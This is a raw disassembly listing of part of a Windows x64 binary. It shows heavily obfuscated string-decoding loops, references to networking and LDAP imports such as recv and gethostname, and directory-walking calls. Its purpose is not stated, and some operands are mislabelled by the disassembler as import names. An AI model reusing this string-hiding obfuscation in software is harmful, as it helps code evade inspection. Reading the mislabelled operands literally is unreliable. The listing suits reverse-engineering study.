cmp r8, rax
jne 0x14011391b
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1401139df
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140113940
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
jmp 0x140113b4a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140113963
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
jmp 0x140113b27
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14011398e
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
dec rsi
inc rsi
jmp 0x140113123
cmp r8, rdi
jne 0x14011358c
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
jmp 0x140113ac0
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
add dl, r11b
jmp 0x140113b27
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x2c]
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rsp + rsi + 0x68], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x140113b76
sub r10b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x32
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
add r10b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x42
jmp 0x140113b47
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x46
jmp 0x140113b27
sub r10b, 0x1a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4a
dec rsi
inc rsi
jmp 0x140113123
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x52
jmp 0x140113ac0
movzx r10d, sil
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5a
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rsp + rsi + 0x68], cl
inc r9
dec rsi
inc rsi
jmp 0x140113123
lea ecx, [rsi + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5e
inc r9
dec rsi
inc rsi
jmp 0x140113123
movzx r10d, sil
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
add r10b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, r11b
mov byte [rsp + rsi + 0x68], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140113123
lea rax, [rsi + r13]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x76
lea ecx, [rsi - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x28
add cl, r11b
mov byte [rsp + rsi + 0x68], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
lea rax, [rsi + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x7a
movzx eax, byte [rsp + rsi + 0x68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140113123
add r10b, 0x5a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x76
jmp 0x140113120
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7a
jmp 0x140113110
lea rdi, [rbp + 0x1475380]
jmp 0x140113c26
lea rdi, [rbp + 0xa1c992]
jmp 0x140113c26
lea rdi, [rsp + 0x68]
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0xf8]
call fcn.140002620
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdi + r8], 0
jne 0x140113c40
mov rdx, rdi
lea rcx, [rbp + 0xf8]
call fcn.140004030
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x70]
call fcn.140003ea0
nop
lea r8, [rbp + 0xf8]
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140002e90
nop
lea rcx, [rbp + 0x70]
call fcn.140002490
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x30]
call fcn.1400d6f00
nop
mov edi, 1
mov dword [rsp + 0x60], edi
lea rcx, [rbp + 0x30]
call fcn.1400d4990
test al, al
je 0x140113ce8
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x10]
call fcn.1400d6f00
nop
mov edi, 3
mov dword [rsp + 0x60], edi
lea rdx, [rbp + 0x10]
lea rcx, [rbp]
call fcn.1400d4b60
cmp dword [rax], edi
jne 0x140113ce8
xor sil, sil
jmp 0x140113ceb
mov sil, 1
test dil, 2
je 0x140113cfe
and edi, 0xfffffffd
lea rcx, [rbp + 0x10]
call fcn.140057fa0
nop
test dil, 1
je 0x140113d0d
lea rcx, [rbp + 0x30]
call fcn.140057fa0
test sil, sil
je 0x140114672
mov dword [rbp - 0x70], 0xc2f4cf29
mov dword [rbp - 0x6c], 0x7c2ccc8
mov dword [rbp - 0x68], 0xcfc6c6ce
mov dword [rbp - 0x64], 0xff0effc9
mov dword [rbp - 0x60], 0x59fac5f1
mov byte [rbp - 0x5c], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x5b], xmm0
mov qword [rbp - 0x4b], rax
mov dword [rbp - 0x43], eax
mov word [rbp - 0x3f], ax
movabs r13, 0x1df54ddd0f0cf250
movzx r8d, byte [rsp + 0x20]
mov rax, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov r14, rbx
cmp r14, 0x33
jae 0x14011464b
movzx r10d, byte [rbp + r14 - 0x70]
mov r15d, r10d
cmp rax, r14
ja 0x140114642
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x140113db2
lea rdx, [r14 + r13]
mov rcx, rdx
and rcx, r15
imul r8, rcx, 0xfffffffffffffffe
add r8, rdx
add r8, r15
sub r8b, 0x30
jmp 0x140113dec
je 0x1401145c1
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140114536
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140114503
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401144de
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x140114496
movzx r11d, r14b
mov rdi, rax
cmp r9, r14
ja 0x140114639
lea rcx, [r9 + 0x42]
cmp rax, rcx
jae 0x140113e22
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r10b
jmp 0x140113e62
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14011447d
inc rcx
cmp rax, rcx
je 0x140114453
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140114432
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140114415
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401143f6
lea rax, [r9 + rdi]
cmp rax, r14
jbe 0x1401140cf
mov rax, rdi
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1401140c1
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401140a3
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x140114080
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140114063
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x140113e72
lea rax, [r9 + 0x10]
lea r9, [rax + 5]
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x140114618
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1401145f7
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x140113f71
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x140113f52
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x14011401c
lea rax, [r9 + 0x3e8]
lea r9, [rax + 4]
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x140113ff0
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x140113fcf
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x140113fb0
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x140113f91
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x140113e72
lea rax, [r9 + 0x200]
lea r9, [rax + 0x28]
jmp 0x140113e72
lea r8d, [r11 - 0x30]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x140113df0
add r11b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r8d, r10b
sub r8b, cl
sub r8b, 0x50
add r8b, r11b
jmp 0x140113d86
lea r8d, [r11 - 0x60]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x60
add r8b, dl
jmp 0x1401143b3
lea r8d, [r11 - 0x40]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x40
add r8b, dl
jmp 0x140114558
add r11b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140114582
add r11b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x80
movzx ecx, byte [rbp + r14 - 0x70]
add rcx, r9
add r14, rcx
inc r14
jmp 0x140113d73
lea r8d, [r11 + 0x50]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x30
add r8b, dl
cmp r9, 0x20
jb 0x14011438a
lea r8d, [r11 - 0x20]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r8b
lea r8d, [rdx*2 - 0x40]
jmp 0x1401144b4
add r11b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x80
jmp 0x14011451d
sub r11b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x60
dec r14
inc r14
jmp 0x140113d73
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
inc r9
dec r14
inc r14
jmp 0x140113d73
lea r8d, [r11 + 0x60]
mov edx, Ordinal_50
jmp 0x1401144a3
lea rax, [r9 + 2]
cmp rdi, rax
jae 0x140114161
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r8d, r10b
sub r8b, al
sub r8b, 0x30
add r8b, dl
mov rax, rdi
lea rcx, [rax + r9]
cmp rcx, 4
je 0x1401143da
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jbe 0x140114222
lea r8d, [r11 + 0x10]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x70
add r8b, dl
cmp rax, 0x28
jae 0x140114397
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x1401142e7
lea r8d, [r11 - 0x60]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x60
jmp 0x140114033
lea rcx, [r9 + 1]
cmp rdi, rcx
jne 0x14011419d
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, r11b
mov rax, rdi
movzx ecx, byte [rbp + r14 - 0x70]
add rcx, r9
add r14, rcx
inc r14
jmp 0x140113d73
lea rax, [r9 + 3]
cmp rdi, rax
jne 0x1401141c9
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, dl
mov rax, rdi
jmp 0x140114558
lea rax, [rcx + 1]
cmp rdi, rax
jne 0x1401141f2
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r8d, [r11 + r10]
sub r8b, 0x60
mov rax, rdi
jmp 0x14011451a
mov rax, rdi
lea rcx, [r9 + 9]
cmp rdi, rcx
jne 0x1401140f9
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
mov rax, rdi
jmp 0x1401144b1
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140114239
lea r8d, [r11 - 0x50]
mov edx, Ordinal_27
jmp 0x1401144a3
inc rcx
cmp rax, rcx
jne 0x140114268
sub r11b, 0x10
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec r14
inc r14
jmp 0x140113d73
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140114292
sub r11b, 0x30
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x14011451d
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1401142ba
lea r8d, [r11 + 0x70]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x10
add r8b, dl
jmp 0x140114558
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14011412e
add r11b, 0x10
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r8d, r10b
sub r8b, cl
sub r8b, 0x70
add r8b, r11b
jmp 0x140114582
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x140114320
add r11b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + r14 - 0x70]
add rcx, r9
add r14, rcx
inc r14
jmp 0x140113d73
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14011434b
lea r8d, [r11 + 0x80]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add r8b, 0x80
add r8b, dl
jmp 0x140114558
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x14011436f
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
dec r14
inc r14
jmp 0x140113d73
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140114036
lea r8d, [r11 + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401144a3
mov byte [rbp + r14 - 0x70], r8b
inc r14
jmp 0x140113d73
lea edx, [r11 + 0x80]
movzx ecx, r10b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x80
add r8b, r10b
sub r11b, 0x30
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add dl, r8b
add dl, r10b
add dl, r11b
mov byte [rbp + r14 - 0x70], dl
jmp 0x14011451a
lea r8d, [r11 + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x140114558
lea r8d, [r11 - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x140114558
add r11b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x30
jmp 0x14011451d
sub r11b, 0x50
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_27
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x14011451a
sub r11b, 0x30
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
inc r9
dec r14
inc r14
jmp 0x140113d73
lea r8d, [r11 + 0x30]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub r8b, 0x50
jmp 0x1401144b1
movzx r11d, r14b
lea r8d, [r11 - 0x10]
mov edx, gethostname
movzx ecx, r10b
and cl, r8b
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
add r11b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x50
add r10b, r11b
mov byte [rbp + r14 - 0x70], r10b
inc r9
dec r14
inc r14
jmp 0x140113d73
lea r8d, [r14 - 0x50]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_27
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
dec r14
inc r14
jmp 0x140113d73
lea edx, [r14 + 0x70]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x10
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r14, rdx
inc r14
jmp 0x140113d73
movabs rcx, 0xd1b5210b695aa030
add rcx, r14
and r15b, cl
add r15b, r15b
sub cl, r15b
lea r8d, [r10 + rcx]
sub r8b, 0x50
movzx r11d, r14b
add r11b, 0x70
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edx, r10b
sub dl, cl
sub dl, 0x10
add dl, r11b
movzx ecx, dl
mov byte [rbp + r14 - 0x70], cl
inc r9
add rcx, r9
sub r14, rcx
lea edx, [r14 - 0x40]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
sub r10b, 0x40
add r10b, dl
mov byte [rbp + r14 - 0x70], r10b
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
movzx ecx, byte [rbp + r14 - 0x70]
add rcx, r9
add r14, rcx
inc r14
jmp 0x140113d73
movabs rcx, 0x59dfe9972d26d6f0
add rcx, r14
and r15b, cl
mov edx, gethostname
sub dl, r15b
lea r8d, [rdx + rdx]
add r8b, cl
add r8b, r10b
movzx ecx, byte [rbp + r14 - 0x70]
add rcx, r9
add r14, rcx
inc r14
jmp 0x140113d73
sub r11b, 0x70
movzx ecx, r11b
and cl, r10b
mov edx, 8
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
jmp 0x140113d70
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, r11b
jmp 0x140113d61
lea rdx, [rbp + 0x172cd50]
jmp 0x14011464f
lea rdx, [rbp + 0x13fbfa0]
jmp 0x14011464f
lea rdx, [rbp - 0x70]
mov rcx, qword [0x140220750]
call fcn.140064200
xor r8d, r8d
lea rdx, [0x14019a00f]
mov rcx, r12
call fcn.1401230f0
jmp 0x1401147f2
lea rcx, [rbp + 0x118]
call fcn.1400d6990
nop
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x50]
call fcn.1400d6f00
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0xc8]
call fcn.1400d8100
nop
lea rcx, [rbp + 0x50]
call fcn.140057fa0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x20]
call fcn.1400e3f00
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xa8]
call fcn.1400e3ed0
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x1401146e6
call fcn.1400d79c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
movdqu xmmword [rbp - 0x10], xmm0
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x10]
call fcn.1400efb00
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xb8]
call fcn.1400d8280
nop
nop word [rax + rax]
mov rdi, qword [rbp + 0xa8]
cmp rdi, qword [rbp + 0xb8]
je 0x1401147a0
add rdi, 0x20
mov rdx, rdi
lea rcx, [rbp + 8]
call fcn.1400d4b60
cmp dword [rax], 2
jne 0x14011478a
mov rdx, rdi
lea rcx, [rbp + 0x98]
call fcn.1400fb670
mov qword [rbp - 0x38], rbx
mov rax, qword [rbp + 0x98]
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x30]
call fcn.140114850
test al, al
jle 0x14011478a
mov rbx, qword [rbp + 0x98]
mov rdx, rdi
lea rcx, [rbp + 0x118]
call fcn.1400d6830
lea rcx, [rbp + 0xa8]
call fcn.1400d7c60
test eax, eax
jne 0x14011483e
jmp 0x140114720
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x1401147b2
call fcn.1400d79c0
nop
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x1401147c4
call fcn.1400d79c0
nop
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x1401147d5
call fcn.1400d79c0
lea rdx, [rbp + 0x118]
mov rcx, r12
call fcn.1400d6860
nop
lea rcx, [rbp + 0x118]
call fcn.140057fa0
nop
lea rcx, [rbp + 0xd8]
call fcn.140002490
nop
lea rcx, [rbp + 0xf8]
call fcn.140002490
mov rax, r12
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.1401830b0
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, eax
lea rcx, str.directory_iterator::operator
call fcn.1400d7c00
int3